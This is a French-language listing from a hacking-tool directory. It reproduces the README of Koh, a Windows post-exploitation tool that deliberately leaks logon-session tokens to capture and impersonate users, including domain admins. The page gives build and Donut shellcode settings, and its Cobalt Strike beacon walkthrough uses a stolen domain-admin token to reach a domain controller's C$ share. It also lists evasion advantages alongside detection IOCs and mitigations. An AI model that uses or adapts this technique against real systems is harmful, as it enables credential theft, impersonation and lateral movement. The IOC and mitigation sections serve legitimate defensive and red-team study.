Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Koh — Capture les jetons de session d'ouverture de session Windows via une fuite de jetons pour permettre la réutilisation des identifiants et l'usurpation d'identité, avec une intégration Cobalt Strike BOF pour le vol de jetons post-exploitation. | Kitploit
Outils/GitHubGitHub/ghostpack/koh
Post-ExploitationAuthentificationRed Teaming
GitHubghostpack/koh

Koh

Capture les jetons de session d'ouverture de session Windows via une fuite de jetons pour permettre la réutilisation des identifiants et l'usurpation d'identité, avec une intégration Cobalt Strike BOF pour le vol de jetons post-exploitation.

Voir le dépôt
52267il y a 4 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Koh


Koh est un ensemble d'outils en C# et Beacon Object File (BOF) qui permet la capture de données d'identification utilisateur via une fuite intentionnelle de jetons/sessions d'ouverture de session.

Certains codes ont été inspirés par le projet Internal-Monologue (sans licence) d'Elad Shamir, ainsi que par KB180548. Pour comprendre pourquoi cela est possible et l'approche de Koh, voir la section Contexte technique de ce README.

Pour une explication plus approfondie de la motivation derrière Koh et de son approche, consultez l'article Koh: The Token Stealer.

@harmj0y est l'auteur principal de cette base de code. @tifkin_ a contribué à l'approche, à l'implémentation du BOF et à certaines mécaniques de jetons.

Koh est distribué sous licence BSD 3-Clause.

Table des matières

  • Koh
    • Table des matières
    • Serveur Koh
      • Compilation
      • Utilisation
      • Exemple - Lister les sessions d'ouverture de session
      • Exemple - Surveiller les sessions d'ouverture de session (avec filtrage par SID de groupe)
    • Client Koh
      • Utilisation
      • Filtrage par SID de groupe
      • Exemple - Capture
    • Contexte technique
      • Pourquoi cela est possible
      • Approche
        • Approches possibles
        • Notre approche
        • Avantages/Inconvénients par rapport à l'extraction traditionnelle d'identifiants
          • Avantages
          • Inconvénients
    • Le bug Inline Shenanigans
    • IOCs
    • Mesures d'atténuation
    • À faire

Serveur Koh

Le « serveur » Koh capture les jetons et utilise des pipes nommés pour le contrôle/la communication. Il peut être encapsulé dans Donut et injecté dans tout processus haute intégrité SYSTEM (voir Le bug Inline Shenanigans).

Compilation

Nous ne prévoyons pas de publier les binaires de Koh, vous devrez donc le compiler vous-même :)

Koh a été développé pour .NET 4.7.2 et est compatible avec Visual Studio 2019 Community Edition. Ouvrez simplement le fichier .sln du projet, choisissez « Release » et compilez. L'assembly Koh.exe et le PIC Koh.bin construit avec Donut seront générés dans le répertoire principal. Le blob Donut est compatible x86/x64 et a été construit avec les options suivantes en utilisant la v0.9.3 de Donut à l'emplacement ./Misc/Donut.exe :``` [ Instance type : Embedded [ Entropy : Random names + Encryption [ Compressed : Xpress Huffman [ File type : .NET EXE [ Parameters : capture [ Target CPU : x86+amd64 [ AMSI/WDLP : abort

root@kitploit:~
La licence de Donut est BSD 3-clause.

### Utilisation
   
   `Koh.exe Koh.exe <list | monitor | capture> [GroupSID... GroupSID2 ...]`

* **list** - liste les sessions de connexion (non-réseau)
* **monitor** - surveille les nouvelles sessions de connexion uniques (non-réseau)
* **capture** - capture un jeton unique par SID trouvé pour les nouvelles sessions de connexion (non-réseau)

Les SID de groupe peuvent également être fournis en ligne de commande, ce qui amène Koh à surveiller/capturer uniquement les sessions de connexion qui contiennent les SID de groupe spécifiés dans leurs informations de jeton négocié.

### Exemple - Liste des sessions de connexion```
C:\Temp>Koh.exe list

 __  ___   ______    __    __
|  |/  /  /  __  \  |  |  |  |
|  '  /  |  |  |  | |  |__|  |
|    <   |  |  |  | |   __   |
|  .  \  |  `--'  | |  |  |  |
|__|\__\  \______/  |__|  |__|
                     v1.0.0


  [*] Command: list

  [*] Elevated to SYSTEM


  [*] New Logon Session - 6/22/2022 2:51:46 PM
      UserName    : THESHIRE\testuser
      LUID        : 207990196
      LogonType   : Interactive
      AuthPackage : Kerberos
      User SID    : S-1-5-21-937929760-3187473010-80948926-1119
      Origin LUID : 1677733 (0x1999a5)

  [*] New Logon Session - 6/22/2022 2:51:46 PM
      UserName    : THESHIRE\DA
      LUID        : 81492692
      LogonType   : Interactive
      AuthPackage : Negotiate
      User SID    : S-1-5-21-937929760-3187473010-80948926-1145
      Origin LUID : 1677765 (0x1999c5)

  [*] New Logon Session - 6/22/2022 2:51:46 PM
      UserName    : THESHIRE\DA
      LUID        : 81492608
      LogonType   : Interactive
      AuthPackage : Kerberos
      User SID    : S-1-5-21-937929760-3187473010-80948926-1145
      Origin LUID : 1677765 (0x1999c5)

  [*] New Logon Session - 6/22/2022 2:51:46 PM
      UserName    : THESHIRE\harmj0y
      LUID        : 1677733
      LogonType   : Interactive
      AuthPackage : Kerberos
      User SID    : S-1-5-21-937929760-3187473010-80948926-1104
      Origin LUID : 999 (0x3e7)
    

Exemple - Surveillance des sessions de connexion (avec filtrage par SID de groupe)

Liste uniquement les résultats qui contiennent le SID de groupe des administrateurs de domaine (-512) dans leurs informations de jeton :``` C:\Temp>Koh.exe monitor S-1-5-21-937929760-3187473010-80948926-512


| |/ / / __ \ | | | | | ' / | | | | | || | | < | | | | | __ | | . \ | `--' | | | | | ||__\ __/ || || v1.0.0

[*] Command: monitor

[*] Starting server with named pipe: imposecost

[*] Elevated to SYSTEM

[*] Targeting group SIDs: S-1-5-21-937929760-3187473010-80948926-512

[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\DA LUID : 81492692 LogonType : Interactive AuthPackage : Negotiate User SID : S-1-5-21-937929760-3187473010-80948926-1145 Origin LUID : 1677765 (0x1999c5)

[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\DA LUID : 81492608 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1145 Origin LUID : 1677765 (0x1999c5)

[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\harmj0y LUID : 1677733 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1104 Origin LUID : 999 (0x3e7)

root@kitploit:~
## Client Koh

Le client utilisable actuel est un fichier objet Beacon situé dans `.\Clients\BOF\`. Chargez le script d'agression `.\Clients\BOF\KohClient.cna` dans votre client Cobalt Strike pour activer le contrôle BOF du serveur Koh. La seule condition pour utiliser les jetons capturés est **SeImpersonatePrivilege**. Le tube nommé de communication possède une DACL "Everyone" mais utilise un mot de passe partagé basique (super sécurisé).

Pour compiler sur Linux avec Mingw, consultez le script `.\Clients\BOF\build.sh`. La seule dépendance (sur Debian au moins) devrait être `apt-get install gcc-mingw-w64`

### Utilisation```
beacon> help koh
koh list              - lists captured tokens
koh groups LUID       - lists the group SIDs for a captured token
koh filter list       - lists the group SIDs used for capture filtering
koh filter add SID    - adds a group SID for capture filtering
koh filter remove SID - removes a group SID from capture filtering
koh filter reset      - resets the SID group capture filter
koh impersonate LUID  - impersonates the captured token with the give LUID
koh release all       - releases all captured tokens
koh release LUID      - releases the captured token for the specified LUID
koh exit              - signals the Koh server to exit

Filtrage par SID de groupe

La commande koh filter add S-1-5-21-<DOMAIN>-<RID> ne capturera que les jetons contenant le SID de groupe fourni. Cette commande peut être exécutée plusieurs fois pour ajouter des SID supplémentaires à capturer. Cela peut aider à prévenir d'éventuels problèmes de stabilité dus à un grand nombre de fuites de jetons.

Exemple - Capture

"Capture" les sessions de connexion en négociant des jetons utilisables pour chaque nouvelle session.

Serveur :``` C:\Temp>Koh.exe capture


| |/ / / __ \ | | | | | ' / | | | | | || | | < | | | | | __ | | . \ | `--' | | | | | ||__\ __/ || || v1.0.0

[*] Command: capture

[*] Starting server with named pipe: imposecost

[*] Elevated to SYSTEM

[*] New Logon Session - 6/22/2022 2:53:01 PM UserName : THESHIRE\testuser LUID : 207990196 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1119 Credential UserName : [email protected] Origin LUID : 1677733 (0x1999a5)

root@kitploit:~
  [*] Successfully negotiated a token for LUID 207990196 (hToken: 848)

[*] New Logon Session - 6/22/2022 2:53:01 PM UserName : THESHIRE\DA LUID : 81492692 LogonType : Interactive AuthPackage : Negotiate User SID : S-1-5-21-937929760-3187473010-80948926-1145 Credential UserName : [email protected] Origin LUID : 1677765 (0x1999c5)

root@kitploit:~
  [*] Successfully negotiated a token for LUID 81492692 (hToken: 976)

[*] New Logon Session - 6/22/2022 2:53:01 PM UserName : THESHIRE\harmj0y LUID : 1677733 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1104 Credential UserName : [email protected] Origin LUID : 999 (0x3e7)

root@kitploit:~
  [*] Successfully negotiated a token for LUID 1677733 (hToken: 980)
root@kitploit:~
BOF client:```
beacon> shell dir \\dc.theshire.local\C$
[*] Tasked beacon to run: dir \\dc.theshire.local\C$
[+] host called home, sent: 69 bytes
[+] received output:
Access is denied.

beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 20 bytes
[*] You are NT AUTHORITY\SYSTEM (admin)

beacon> koh list
[+] host called home, sent: 6548 bytes
[+] received output:
[*] Using KohPipe                    : \\.\pipe\imposecost

[+] received output:

Username     : THESHIRE\localadmin (S-1-5-21-937929760-3187473010-80948926-1000)
LUID         : 67556826
CaptureTime  : 6/21/2022 1:24:42 PM
LogonType    : Interactive
AuthPackage  : Negotiate
CredUserName : [email protected]
Origin LUID  : 1676720

Username     : THESHIRE\da (S-1-5-21-937929760-3187473010-80948926-1145)
LUID         : 67568439
CaptureTime  : 6/21/2022 1:24:50 PM
LogonType    : Interactive
AuthPackage  : Negotiate
CredUserName : [email protected]
Origin LUID  : 1677765

Username     : THESHIRE\harmj0y (S-1-5-21-937929760-3187473010-80948926-1104)
LUID         : 1677733
CaptureTime  : 6/21/2022 1:23:10 PM
LogonType    : Interactive
AuthPackage  : Kerberos
CredUserName : [email protected]
Origin LUID  : 999

beacon> koh groups 67568439
[+] host called home, sent: 6548 bytes
[+] received output:
[*] Using KohPipe                    : \\.\pipe\imposecost

[+] received output:
S-1-5-21-937929760-3187473010-80948926-513
S-1-5-21-937929760-3187473010-80948926-512
S-1-5-21-937929760-3187473010-80948926-525
S-1-5-21-937929760-3187473010-80948926-572

beacon> koh impersonate 67568439
[+] host called home, sent: 6548 bytes
[+] received output:
[*] Using KohPipe                    : \\.\pipe\imposecost

[+] received output:
[*] Enabled SeImpersonatePrivilege

[+] received output:
[*] Creating impersonation named pipe: \\.\pipe\imposingcost

[+] received output:
[*] Impersonation succeeded. Duplicating token.

[+] received output:
[*] Impersonated token successfully duplicated.

[+] Impersonated THESHIRE\da

beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 20 bytes
[*] You are THESHIRE\DA (admin)

beacon> shell dir \\dc.theshire.local\C$
[*] Tasked beacon to run: dir \\dc.theshire.local\C$
[+] host called home, sent: 69 bytes
[+] received output:
 Volume in drive \\dc.theshire.local\C$ has no label.
 Volume Serial Number is A4FF-7240

 Directory of \\dc.theshire.local\C$

01/04/2021  11:43 AM    <DIR>          inetpub
05/30/2019  03:08 PM    <DIR>          PerfLogs
05/18/2022  01:27 PM    <DIR>          Program Files
04/15/2021  09:44 AM    <DIR>          Program Files (x86)
03/20/2020  12:28 PM    <DIR>          RBFG
10/20/2021  01:14 PM    <DIR>          Temp
05/23/2022  06:30 PM    <DIR>          tools
03/11/2022  04:10 PM    <DIR>          Users
06/21/2022  01:30 PM    <DIR>          Windows
               0 File(s)              0 bytes
               9 Dir(s)  40,504,201,216 bytes free

Contexte technique

Lorsqu'une nouvelle session d'ouverture de session est établie sur un système, un nouveau jeton pour la session d'ouverture de session est créé par LSASS via l'appel API NtCreateToken() et retourné par l'appelant de LsaLogonUser(). Cela augmente le ReferenceCount de la structure noyau de la session d'ouverture de session. Lorsque ce ReferenceCount atteint 0, la session d'ouverture de session est détruite. En raison des informations décrites dans la section Pourquoi cela est possible, les systèmes Windows ne libèrent PAS une session d'ouverture de session si un handle de jeton existe toujours pour celle-ci (et donc le comptage de références != 0).

Donc, si nous pouvons obtenir un handle sur une session d'ouverture de session nouvellement créée via un jeton, nous pouvons maintenir cette session ouverte et plus tard usurper ce jeton pour utiliser les identifiants mis en cache qu'il contient.

Pourquoi cela est possible

Selon ce post d'un ingénieur Microsoft:``` After MS16-111, when security tokens are leaked, the logon sessions associated with those security tokens also remain on the system until all associated tokens are closed... even after the user has logged off the system. If the tokens associated with a given logon session are never released, then the system now also has a permanent logon session leak as well.

root@kitploit:~
[MS16-111](https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-111) a été appliqué rétroactivement à Windows 7/Server 2008, cette approche devrait donc être efficace pour tout sauf les systèmes Server 2003.

## Approche

Énumérer les sessions d'ouverture de session est facile (depuis un contexte élevé) grâce à l'API Win32 [LsaEnumerateLogonSessions()](https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaenumeratelogonsessions). Ce qui est plus difficile est de prendre un identifiant de session d'ouverture de session spécifique (LUID) et d'obtenir *d'une manière ou d'une autre* un jeton utilisable lié à cette session.

### Approches possibles

Nous avons réfléchi à quelques moyens pour a) maintenir ouvertes les sessions d'ouverture de session et b) abuser de cela pour l'usurpation de jeton/l'utilisation d'informations d'identification mises en cache.

1. La première approche consistait à utiliser **NtCreateToken()** qui permet de spécifier un ID de session d'ouverture de session (LUID) pour créer un nouveau jeton.
   * Malheureusement, vous avez besoin du privilège **SeCreateTokenPrivilege** qui n'est traditionnellement détenu que par LSASS, ce qui signifie que vous devez voler le jeton de LSASS, ce qui n'est pas idéal.
   * Une possibilité était d'ajouter **SeCreateTokenPrivilege** à NT AUTHORITY\SYSTEM via une modification de la stratégie LSA, mais cela nécessiterait un redémarrage/une nouvelle session d'ouverture de session pour exprimer les nouveaux droits utilisateur.
2. Vous pouvez également vous concentrer uniquement sur les sessions d'ouverture de session RemoteInteractive en utilisant **WTSQueryUserToken()** pour obtenir des jetons pour les nouvelles sessions de bureau à cloner.
   * C'est l'approche apparemment [démontrée par Ryan](https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/using-debugging-tools-to-find-token-and-session-leaks/ba-p/400472).
   * Malheureusement, cela manque les nouvelles sessions locales et les sessions entrantes créées par des éléments comme PSEXEC.
3. Sur une nouvelle session d'ouverture de session, ouvrir un handle sur chaque processus accessible et énumérer tous les handles existants, en clonant le jeton lié à la nouvelle session d'ouverture de session.
   * Cela nécessite d'ouvrir beaucoup de processus/handles, ce qui semble très suspect.
4. L'approche **AcquireCredentialsHandle()**/**InitializeSecurityContext()**/**AcceptSecurityContext()** décrite ci-dessous, que nous avons finalement adoptée.

### Notre approche

L'appel SSPI [AcquireCredentialsHandle()](https://docs.microsoft.com/en-us/windows/win32/secauthn/acquirecredentialshandle--negotiate) possède un champ **pvLogonID** qui indique :```
A pointer to a locally unique identifier (LUID) that identifies the user. This parameter is provided for file-system processes such as network redirectors. 

Note : Pour utiliser un LUID de session d'ouverture de session avec AcquireCredentialsHandle(), vous avez besoin du privilège SeTcbPrivilege, qui est généralement plus facile à obtenir que SeCreateTokenPrivilege.

L'utilisation de cet appel en spécifiant un ID de session d'ouverture de session/LUID semble augmenter le ReferenceCount de la structure de session d'ouverture de session, empêchant sa libération. Cependant, un autre problème se pose : étant donné une session d'ouverture de session « fuite »/maintenue ouverte, comment obtenir un jeton utilisable à partir de celle-ci ? WTSQueryUserToken() ne fonctionne qu'avec les sessions de bureau, et il n'existe pas d'API en espace utilisateur que nous ayons trouvée permettant de mapper un LUID sur un jeton utilisable.

Toutefois, nous pouvons utiliser deux autres fonctions SSPI, InitializeSecurityContext() et AcceptSecurityContext() pour agir en tant que client et serveur envers nous-mêmes, négociant un nouveau contexte de sécurité que nous pouvons ensuite utiliser avec QuerySecurityContextToken() pour obtenir un jeton utilisable. Cela a été documenté dans KB180548 (mirroré par PKISolutions ici) à des fins de validation des identifiants. C'est une approche similaire à Internal-Monologue, sauf que nous effectuons l'intégralité du processus de handshake, produisons un jeton, puis le conservons pour une utilisation ultérieure.

Le filtrage peut ensuite être effectué sur le jeton lui-même, via CheckTokenMembership() ou GetTokenInformation(). Par exemple, nous pourrions libérer tous les jetons sauf ceux appartenant aux administrateurs de domaine, ou à des groupes spécifiques que nous souhaitons cibler.

Avantages/Inconvénients par rapport à l'extraction traditionnelle d'identifiants

Avantages

  • Fonctionne à la fois pour les ouvertures de session locales et entrantes (non réseau).
  • Fonctionne pour les sessions entrantes créées via Kerberos et NTLM.
  • Ne nécessite pas d'ouvrir un handle vers plusieurs processus.
  • Ne crée pas de nouvel événement d'ouverture de session ni de nouvelle session d'ouverture de session.
  • Ne crée pas de journaux d'événements supplémentaires sur le contrôleur de domaine en dehors du comportement normal de renouvellement des tickets système (je ne pense pas ?)
  • Pas de durée de vie par défaut sur les jetons (je ne pense pas ?), donc l'accès devrait fonctionner tant que les identifiants du compte capturé ne changent pas et que le système ne redémarre pas.
  • Réutilise l'authentification légitime capturée sur un système, donc devrait « se fondre dans le bruit » raisonnablement bien.

Inconvénients

  • L'accès n'est utilisable que tant que le système ne redémarre pas.
  • Ne permet pas de réutiliser l'accès sur d'autres systèmes.
    • Cependant, une extraction de ticket/identifiants existante peut toujours être effectuée sur la session d'ouverture de session « fuite ».
  • Peut provoquer une instabilité si un grand nombre de sessions sont « fuitées » (ce qui peut être atténué par le filtrage SID des groupes de jetons) et en limitant le nombre maximal de jetons capturés (par défaut 1000 ici).

Le bug des manigances inline

Je code depuis un certain temps déjà. C'est l'un des bugs les plus étranges et frustrants à traquer que j'ai rencontrés depuis longtemps – aidez-moi s'il vous plaît lol.

  • Lorsque l'assembly Koh.exe est exécuté depuis un contexte élevé (mais non SYSTEM), tout fonctionne correctement.

  • Si l'assembly Koh.exe est exécuté via le processus fork&run de Cobalt Strike Beacon avec execute-assembly depuis un contexte élevé (mais non SYSTEM), tout fonctionne correctement.

  • Si l'assembly Koh.exe est exécuté inline (via InlineExecute-Assembly ou Inject-Assembly) pour un Cobalt Strike Beacon qui s'exécute dans un contexte SYSTEM, tout fonctionne correctement.

  • Cependant, si l'assembly Koh.exe est exécuté inline (via InlineExecute-Assembly ou Inject-Assembly) pour un Cobalt Strike Beacon qui s'exécute dans un contexte élevé, mais pas SYSTEM, l'appel à AcquireCredentialsHandle() échoue avec SEC_E_NO_CREDENTIALS et tout échoue ¯\_(ツ)_/¯

Nous avons essayé (sans succès) :

  • Tout basculer sur un thread séparé, en spécifiant un appartement de thread STA.
  • Essayer de diagnostiquer une bizarrerie RPC (il reste encore à investiguer).
  • Utiliser DuplicateTokenEx et SetThreadToken au lieu de ImpersonateLoggedOnUser.
  • Vérifier si nous avons bien le privilège SeTcbPrivilege juste avant l'appel à AcquireCredentialsHandle (nous l'avons).

Pour toutes fins utiles, le contexte du thread juste avant l'appel à AcquireCredentialsHandle fonctionne dans ce contexte, mais le résultat génère une erreur. Et nous n'avons aucune idée de la raison.

Si vous avez une idée de ce que cela pourrait être, faites-nous savoir ! Et si vous voulez essayer de jouer avec un assembly plus simple, consultez le dépôt AcquireCredentialsHandle sur mon GitHub pour le dépannage.

IOCs

Pour citer @tifkin_ « Tout est discret jusqu'à ce que quelqu'un le cherche. » Bien que l'approche de Koh soit légèrement différente des autres, il existe encore des IOCs qui peuvent être utilisés pour la détecter.

Le GUID TypeLib unique du collecteur C# Koh est 4d5350c8-7f8c-47cf-8cde-c752018af17e comme détaillé dans la règle Yara Koh.yar de ce dépôt. S'il n'est pas modifié lors de la compilation, ce devrait être un indicateur de très haute fiabilité du serveur Koh.

Lorsque le serveur Koh démarre, il ouvre un pipe nommé \\.\pipe\imposecost qui reste ouvert tant que Koh est en cours d'exécution. Le mot de passe par défaut utilisé pour la communication Koh est password, donc envoyer password list à n'importe quel pipe \\.\pipe\imposecost vous permettra de confirmer si Koh est effectivement en cours d'exécution. Le pipe d'emprunt d'identité par défaut utilisé est \\.pipe\imposingcost.

Si Koh démarre dans un contexte élevé mais pas en tant que SYSTEM, un handle/clone de jeton de winlogon est effectué pour réaliser une élévation de type getsystem.

Je suis sûr qu'aucun attaquant ne modifiera les indicateurs mentionnés ci-dessus.

Il existe probablement des artefacts RPC pour la capture de jetons que nous espérons étudier. Nous mettrons à jour cette section du README si nous trouvons des artefacts de détection supplémentaires dans cette lignée. Le hooking de certaines des API peut-être peu courantes utilisées par Koh (LsaEnumerateLogonSessions ou les appels spécifiques AcquireCredentialsHandle/InitializeSecurityContext/AcceptSecurityContext, notamment en utilisant un LUID dans AcquireCredentialsHandle) pourrait être exploré pour son efficacité, mais hélas, je ne suis pas un EDR.

Mitigations

Après avoir publié l'article Koh: The Token Stealer, j'ai eu un excellent échange entre @cnotin et @SteveSyfuhs sur ce qui s'est avéré être une mitigation partielle pour cette approche.

Le correctif KB2871997 a introduit un paramètre TokenLeakDetectDelaySecs, qui déclenche le « …effacement de tous les identifiants des utilisateurs déconnectés… ». Par défaut, les membres du « Protected Users Security Group » voient ce comportement appliqué indépendamment du paramètre de registre. Cependant, définir cette valeur sur une valeur non nulle effacera TOUS les identifiants de la mémoire lorsqu'un utilisateur se déconnecte. Plus précisément, comme le mentionne Steve : S'il est défini, il démarrera un minuteur sur l'événement de déconnexion *interactive* d'une session, et à son expiration, il purgera tout ce qui y est encore attaché. Désactivé par défaut. Protected Users toujours activé, avec un délai par défaut de 30 s.

Il y a deux choses importantes à noter dans le paragraphe ci-dessus : « événement de déconnexion » et « interactif ». Cela peut entraîner des situations où l'identifiant d'un utilisateur n'est PAS effacé :

  • Si un identifiant est présent via un lancement runas ou runas /netonly ou quelque chose de similaire, il n'y a pas d'événement de déconnexion lorsque le processus s'arrête et l'identifiant/le jeton peut toujours être capturé.
  • Si l'identifiant est présent via une session RDP où l'utilisateur se déconnecte simplement au lieu de se déconnecter, il n'y a pas d'événement de déconnexion lorsque le processus s'arrête et l'identifiant/le jeton peut toujours être capturé.

(Je dois tester d'autres situations d'ouverture de session comme NetworkClearText.)

Cependant, si l'utilisateur fait partie du « Protected Users Security Group » ou si TokenLeakDetectDelaySecs est non nul, et que l'utilisateur se déconnecte activement d'une session interactive ou interactive à distance (RDP), les identifiants seront effacés. Je dois programmer Koh pour mieux gérer ces types de situations spécifiques.

TL;DR vous devriez vraiment utiliser le « Protected Users Security Group » pour les utilisateurs sensibles, et voir si définir TokenLeakDetectDelaySecs sur une valeur comme 30 est réalisable dans votre environnement.

TODO

  • Tests supplémentaires en laboratoire et sur le terrain. Préoccupations possibles :
    • Stabilité dans les environnements de production, en particulier les fuites intentionnelles de jetons causant des problèmes sur les serveurs à fort trafic.
    • Durée de vie effective totale réelle des jetons.
  • Client « distant » permettant une surveillance à distance via le pipe nommé Koh.
  • Implémenter plus de clients (PowerShell, C#, C++, etc.)
  • Corriger le bug des manigances inline
  • Mieux gérer les situations « Protected Users »/TokenLeakDetectDelaySecs.
Télécharger l’outil